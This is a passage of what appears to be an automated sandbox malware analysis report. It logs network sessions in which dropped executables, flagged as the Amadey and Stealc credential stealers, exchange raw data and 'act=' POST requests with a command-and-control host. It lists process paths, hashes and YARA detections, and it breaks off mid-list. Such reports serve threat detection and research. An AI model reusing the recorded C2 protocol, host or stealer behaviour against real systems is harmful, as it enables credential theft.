2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 6e 1d 5b a0 fd 30 e0 e8 34 71 cf 1c 8d c2 c2 e7 4f 55 49 90 e8 fd db 28 a4 bf d5 db db fe 3d 2d 6e 6a f4 30 2f 23 d8 82 67 6c af c8 08 c4 80 98 c7 4b b2 da 57 14 80 c2 d7 a0 97 fe 1b 91 05 f7 2a f8 96 a6 8a c6 dd f6 a1 e1 87 3f 9c 95 21 a6 06 1e a8 63 fe bf d3 c3 af 21 22 8c c4 cc 43 1c b2 e9 2b 3c 88 02 a1 1e 79 0b 18 1d 7d 97 13 3e 9b e8 5b 1e 36 bb 3a f1 cf 6a fc 3e 70 80 37 4e 22 c2 1d b2 5e 28 bd e4 05 31 b2 9f 80 ca d3 db 6b b4 f7 2b 32 89 98 e6 ac b9 fc 59 76 b2 0e 48 49 ed d6 e7 1c ae 73 16 61 1f 6e 7c 8b 0b 09 1b 35 91 7c 61 9b 14 b2 0f d5 f3 06 ed 03 50 1a 6f 3d a0 da 0f 31 61 01 1b bf c4 1d da d7 3d 2e 83 95 f7 d9 52 20 fa fd 81 e8 39 cd dc 97 f4 7c da 60 91 99 6b e3 19 43 e6 ba 91 07 d5 92 e4 a2 90 49 cc e3 dd f4 91 0b 59 f9 2d 37 37 a4 70 68 Data Ascii: n[04qOUI(=-nj0/#glKW*?!c!"C+<y}>[6:j>p7N"^(1k+2YvHIsan\|5\|aPo=1a=.R 9\|`kCIY-77ph
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: c8 8c 5f c0 ab 3a ee a9 62 4a d3 74 0b 8a 60 19 f2 67 cd cd b5 2a 3a a4 6d be 2e 30 92 dc cb 7f f0 36 b4 f6 64 77 df 38 89 44 ef 5f ea 46 16 2d 95 44 27 31 14 14 89 30 31 fa c3 c8 7c 50 09 f2 55 33 2a 73 4f f7 0a 99 19 6e f4 dc e4 e3 be b2 e9 1a 6e 73 6a dd 9f 08 42 ac 53 d0 8c bd ac ba 4e 58 62 e5 4c 1d a2 2c c4 1a 09 53 22 7d 2a 20 5a 5f b2 b9 0c e2 05 f3 f2 b0 d5 97 b0 71 cc c5 80 94 fe 00 ea 2f d8 b8 6c c1 d3 38 25 c9 36 22 43 5d a4 f0 38 d3 76 c9 be 29 f9 27 41 cd 7f 6e fc 61 1e 39 bd b0 88 1b d0 e7 3c 66 54 ac 98 02 6c 7b af 2b e2 9c 10 9d 91 67 9c a7 c2 ba 5b 0a 79 79 a6 20 a5 91 70 d2 2a df ba e7 7b fd 1d 09 ab 57 d9 c9 d7 2a fb 83 7f 18 ce a2 02 ee f7 95 33 2d 9e 57 4e 08 4d a1 60 45 20 19 88 69 84 40 ea 2c 23 df 9e 7e 5a dc c0 b4 0b a2 d7 7c 1c Data Ascii: _:bJt`g:m.06dw8D_F-D'101\|PU3sOnnsjBSNXbL,S"}* Z_q/l8%6"C]8v)'Ana9<fTl{+g[yy p{W3-WNM`E i@,#~Z\|
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 8d 31 ff 4a c0 08 c9 b5 4a 4d be 90 5e e0 35 b2 f9 fa 69 22 c8 57 1b 3c bc 3f c3 9c 12 b8 3e 6f c2 2f 2a ae bf 87 61 57 97 61 19 e2 a5 aa 05 65 d4 46 a9 b3 9f cf 39 45 1e c4 5e bf 76 ad 7f f2 9a c6 81 bb e2 c0 ef 16 b5 7e 2d 8b ac da 8a 9a e2 9c 3f 31 86 eb c0 8d 59 b5 67 3c 82 19 9b a3 8e 5b e7 32 cf e2 98 ff f3 04 34 01 e9 90 c6 ad e3 22 9c db 1b b3 df 26 5b 3c 6e 72 7b 84 1f 48 7e 2c 27 fb 43 23 80 50 04 e4 41 79 be 0e 8e 00 08 5e 8c 58 11 34 67 ed 92 01 68 b8 c0 78 20 00 1c 73 ca c4 d1 b0 b7 f3 e2 3f dc fe 3a a7 c4 e9 b9 c9 d1 cd af f6 9b eb f6 e1 65 cf 7e 43 2c cd d3 19 dd 3b 73 b9 a3 9f 4c bb 5f 1e 02 fa 2f 24 f6 80 29 71 bc 9e ea 85 cf 58 8a 7b 77 b4 fd 88 87 4a f3 e2 6c 96 9b 63 8e d0 4d 29 f7 de 08 87 ba f0 d1 4f 9e 12 8f d6 22 da a7 8e e5 6b 5e Data Ascii: 1JJM^5i"W<?>o/*aWaeF9E^v~-?1Yg<[24"&[<nr{H~,'C#PAy^X4ghx s?:e~C,;sL_/$)qX{wJlcM)O"k^
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 95 7f bb ab b7 27 2f f6 15 3d 77 bf 9e e3 c4 f6 ce 6f ff 9d e9 0e 53 b7 00 e9 c1 96 4e cb e0 70 0a b5 a2 65 fb 46 6d 0b d1 00 f2 dc f6 90 d4 1a a6 d1 40 95 f5 eb 28 b9 1c d8 1f c0 e0 6d f5 f8 94 c0 d1 52 b0 df bd 4d 07 a8 35 65 23 e0 8c 00 75 f0 fa b3 55 b5 e2 aa ba d8 27 ae 07 17 15 dc 8b 3b 51 92 a6 c1 b6 8e ea a7 4e 21 3e 31 5a cb 59 6b b9 a9 45 0f 89 51 54 09 9d e8 97 15 53 0b 36 31 e4 06 de ac 5c d3 01 d7 fd dc d7 02 fb c0 61 78 53 f9 55 fc e8 95 4d 2f ec df 6f 57 c1 c7 43 52 73 44 f8 eb ae 4c af 80 21 14 de f7 c7 88 a8 ae c4 38 e7 42 cf b8 73 14 1c 19 dc f6 b3 c4 b3 99 94 42 0b f6 5d fa 13 60 06 e2 99 12 7a b7 dd 32 02 fe 7e 93 0b 1b 10 76 31 41 82 8f be 28 db 69 e0 db 42 f2 66 5e 9f e9 32 40 48 8b 9e 27 67 fd 70 86 cd 52 6b b7 fe 1d d5 1d d7 ca ff Data Ascii: '/=woSNpeFm@(mRM5e#uU';QN!>1ZYkEQTS61\axSUM/oWCRsDL!8BsB]`z2~v1A(iBf^2@H'gpRk
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 51 6d 23 43 28 e8 8b 90 98 99 de 1e ec eb bf 6e ef d5 52 5b 50 d8 c0 c1 93 02 59 98 e1 8b 6f a6 25 4b 82 3a 55 10 3a 66 fb f5 16 bf 2c 78 d8 d9 60 13 d4 8c dc 56 2d f0 dd 37 3e c8 83 31 ed 40 dd 21 ab a7 21 09 07 3a 5a 4e 4c aa b1 89 cb 75 2c 6a f5 85 71 0e df d6 ef a4 42 e5 dc 82 9b 4c eb db 71 cc 23 05 6d 11 35 7e d9 88 f8 bd aa d0 73 2c e8 de f7 d1 30 05 50 7e 5a 92 de 4a 03 7f fb 8d fd 8b bb 94 3e 6c f3 4e 7f 19 45 e0 f1 e1 fb c7 93 db c2 b7 4d 15 8d 4a 4a 0e 6f 3c 72 f5 26 c1 b5 c6 c5 3f bd 14 f9 07 7f 38 5b 6b 02 23 58 7d 2e f6 d8 27 ce 29 03 43 ad 26 81 b1 26 fa 37 4d dd c8 e9 7b ba 3a c8 b2 28 cd dd e7 00 3c b2 bb 7d 9d bb 08 f5 04 a5 12 61 aa 28 2f b4 09 f2 57 4c ec d5 0f 08 6f cf 2e 3f 4c ab 3a 03 02 4f 15 de 70 23 2a 3c bd a8 d6 5f 02 f2 35 96 Data Ascii: Qm#C(nR[PYo%K:U:f,x`V-7>1@!!:ZNLu,jqBLq#m5~s,0P~ZJ>lNEMJJo<r&?8[k#X}.')C&&7M{:(<}a(/WLo.?L:Op#*<_5
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: f8 74 e2 ab 01 c2 8f ed 9c b1 73 27 04 6c 3e 06 8b ad 0a 2f ec 45 8d c9 74 21 c1 32 41 30 5e e8 21 11 3b 11 8b 10 05 08 41 c4 5f d3 fb 6b 37 58 09 e9 56 a3 d5 e5 0f 03 f3 5b 04 da c3 f1 2d d8 b3 18 82 12 57 0d f8 f1 10 2c 49 62 ac 77 a3 56 b2 34 71 b1 f7 7d 71 5c 85 1f 3f 47 7a 20 e8 f3 60 fe 0c c5 a2 54 72 c7 97 a0 7e db 0c c5 83 e1 d8 bc aa 7a 37 75 30 56 b8 98 7a 67 e1 d6 55 b2 ea 86 fb 40 98 2f f6 d6 03 6d 54 d1 05 bb 01 aa c1 92 e6 2e 3f 8e b7 26 5d 7e b4 7c 6f 7e 26 c9 da 0d dc 3a 39 10 1e 19 35 a5 7a 39 32 b0 e1 2b fc 87 47 ee db e6 9f 71 4b 2e 6a 8f e9 7f 25 7c 69 9a 6b be d6 67 79 dd 10 52 a6 a3 82 23 83 c5 d2 15 af f2 bc 7d 59 ed 21 2c b8 a0 f5 63 a6 f1 39 0c 07 c7 2e 5e c4 1f 4b 20 24 87 fa b2 0a a4 22 e7 ad 09 52 a9 4f 5f e2 4b 81 f7 87 d3 8e Data Ascii: ts'l>/Et!2A0^!;A_k7XV[-W,IbwV4q}q\?Gz `Tr~z7u0VzgU@/mT.?&]~\|o~&:95z92+GqK.j%\|ikgyR#}Y!,c9.^K $"RO_K
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: ca b4 f5 38 e9 19 ae f3 38 ae e9 46 4c 36 47 85 c3 b0 32 02 f2 0b 4b 2b 47 f8 bd 4d 1b 2c 64 2a 35 4d c9 1a 4f b5 a8 b4 cc bd fa 34 66 2e 4b 2d f0 6a f9 11 50 36 95 51 52 fe 5d 49 f7 f3 f7 6a dd a8 e7 34 5f 8c 0e ce b4 ed 60 88 3d 0c c3 b4 d2 68 e5 7c 3d 0c c5 d1 97 59 a0 94 38 0d 60 3b 5b 4a ac 9f 01 64 b3 38 dc de 4f 2a c6 d8 fe 40 a9 4f 53 fe ee 05 67 a1 e5 77 4b 56 4a 04 26 3d c3 6d f4 b3 cc 68 d1 23 c7 5c e1 e5 e1 20 89 08 4a 8b 62 e7 9f d5 42 0d 7a 24 2d 62 dd 2d 3b b8 15 41 02 06 7e ec c5 54 03 00 ad 32 c6 46 0d c1 e6 24 e2 2c d7 7c f0 bc a7 05 29 3e 8c 45 aa 2d 8c 96 f9 6d 5d 57 5b 48 8f a5 3f 5c 68 6d 41 9e 28 db 6a ff e3 76 ef 70 a9 62 fc 7e 31 ff b1 5c 63 fb a9 d3 3a 7c d6 af e8 9d fb b9 55 84 7e ff af 03 f8 8a ab fd b6 10 41 0e 76 c8 f6 c5 6d Data Ascii: 88FL6G2K+GM,d5MO4f.K-jP6QR]Ij4_`=h\|=Y8`;[Jd8O@OSgwKVJ&=mh#\ JbBz$-b-;A~T2F$,\|)>E-m]W[H?\hmA(jvpb~1\c:\|U~Avm
2024-11-01 07:52:08 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l063s8kj9l74imk4nu1i4fqe8j; expires=Tue, 25-Feb-2025 01:38:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tf%2BYhHV4fChfULrmi6r7Wxa%2BrtFUOVoEr0dX9hVMACdOnLJDyhjfMG3bUkq81OJqbVXVX8n%2FFCsoOBpwnHNyv1PGcyCDJoU6kakzIkN6qgYIP79NJM%2FYWnBa4JDPKzTRsRsaXcA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4db18e9c6c61-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1125&sent=217&recv=596&lost=0&retrans=0&sent_bytes=2845&recv_bytes=553590&delivery_rate=2531468&cwnd=232&unsent_bytes=0&cid=856799ae5a5d1c9b&ts=1873&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	57911	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:52:09 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 07:52:09 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=7144220E77620ADDE7796FA464A20147
2024-11-01 07:52:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fg9rs3qqs4ncg21fc7hsicurgj; expires=Tue, 25-Feb-2025 01:38:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cQ%2FUj66MBeVQ8G6k4D1OjcTmr%2FUE3BtE1k5CmTy%2F98kupJWeHxxSbOJf5joETkkYy80YMmvDJfBUbpYKGCgHByhZZgjEt0fYEgt3MPbHkDh%2FnG1mPeXLYRl3Mi6BqqKA%2Fq5kT%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4dc0fd596c0e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=982&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2798067&cwnd=251&unsent_bytes=0&cid=f3c03a45eb5c49d1&ts=305&x=0"
2024-11-01 07:52:09 UTC	214	IN	Data Raw: 64 30 0d 0a 6e 30 4e 6e 49 67 4f 6d 72 44 70 79 70 43 37 65 4a 61 5a 2b 66 46 63 62 42 75 54 70 5a 34 63 57 49 58 42 2f 70 64 72 55 63 4f 76 45 4f 45 56 58 49 5a 79 4f 55 67 62 51 58 75 52 35 69 53 4a 54 5a 69 4d 7a 79 74 74 57 73 6a 67 51 51 55 79 4c 36 2b 49 73 78 50 41 6c 41 58 34 73 77 73 6c 63 58 4d 46 57 75 77 65 4b 58 42 6f 6a 4f 54 7a 55 78 55 58 69 4e 42 74 41 41 6f 6d 68 39 67 58 4a 70 57 45 50 56 6e 66 57 6c 6d 5a 64 2b 41 48 76 48 5a 4e 51 54 6d 59 75 4b 4e 58 59 56 4b 6b 6e 46 79 78 51 79 4c 4f 36 46 62 65 77 4d 51 5a 4d 5a 38 6e 42 46 42 66 63 53 2f 77 4a 68 42 67 49 64 53 45 32 79 4d 73 43 70 53 77 52 44 53 49 3d 0d 0a Data Ascii: d0n0NnIgOmrDpypC7eJaZ+fFcbBuTpZ4cWIXB/pdrUcOvEOEVXIZyOUgbQXuR5iSJTZiMzyttWsjgQQUyL6+IsxPAlAX4swslcXMFWuweKXBojOTzUxUXiNBtAAomh9gXJpWEPVnfWlmZd+AHvHZNQTmYuKNXYVKknFyxQyLO6FbewMQZMZ8nBFBfcS/wJhBgIdSE2yMsCpSwRDSI=
2024-11-01 07:52:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	57916	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:52:18 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 07:52:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Target ID:	0
Start time:	03:49:59
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x490000
File size:	3'069'952 bytes
MD5 hash:	E372F8C0AEB01807B45E2D92883011AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:50:19
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe"
Imagebase:	0xe80000
File size:	2'799'104 bytes
MD5 hash:	A94EB41E9E38B75CF809AD0A66787584
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:50:21
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe"
Imagebase:	0xe30000
File size:	1'874'432 bytes
MD5 hash:	73374DDF38989644301CD77DC9A3D1FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1912535075.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1953939305.0000000000E31000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:50:24
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa90000
File size:	1'874'432 bytes
MD5 hash:	73374DDF38989644301CD77DC9A3D1FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1990496875.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1949723349.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:50:26
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa90000
File size:	1'874'432 bytes
MD5 hash:	73374DDF38989644301CD77DC9A3D1FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2005513502.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1965015613.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:51:00
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa90000
File size:	1'874'432 bytes
MD5 hash:	73374DDF38989644301CD77DC9A3D1FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2300805350.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:51:26
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"
Imagebase:	0xe40000
File size:	3'069'952 bytes
MD5 hash:	E372F8C0AEB01807B45E2D92883011AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2649233251.0000000000C98000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:51:37
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"
Imagebase:	0xe90000
File size:	2'159'616 bytes
MD5 hash:	CAFF2FE6C91944CCA73634BB9B591335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.2676689966.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2717758485.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:51:43
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"
Imagebase:	0xe40000
File size:	3'069'952 bytes
MD5 hash:	E372F8C0AEB01807B45E2D92883011AE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2886049051.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2873847206.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2883520034.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2879394897.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2891835597.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2894727073.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2874734726.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2875692021.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2884856458.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2880668031.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2897446385.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2899196082.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2876541093.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2896778343.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2828419524.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2898142263.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2888639331.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2898684448.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 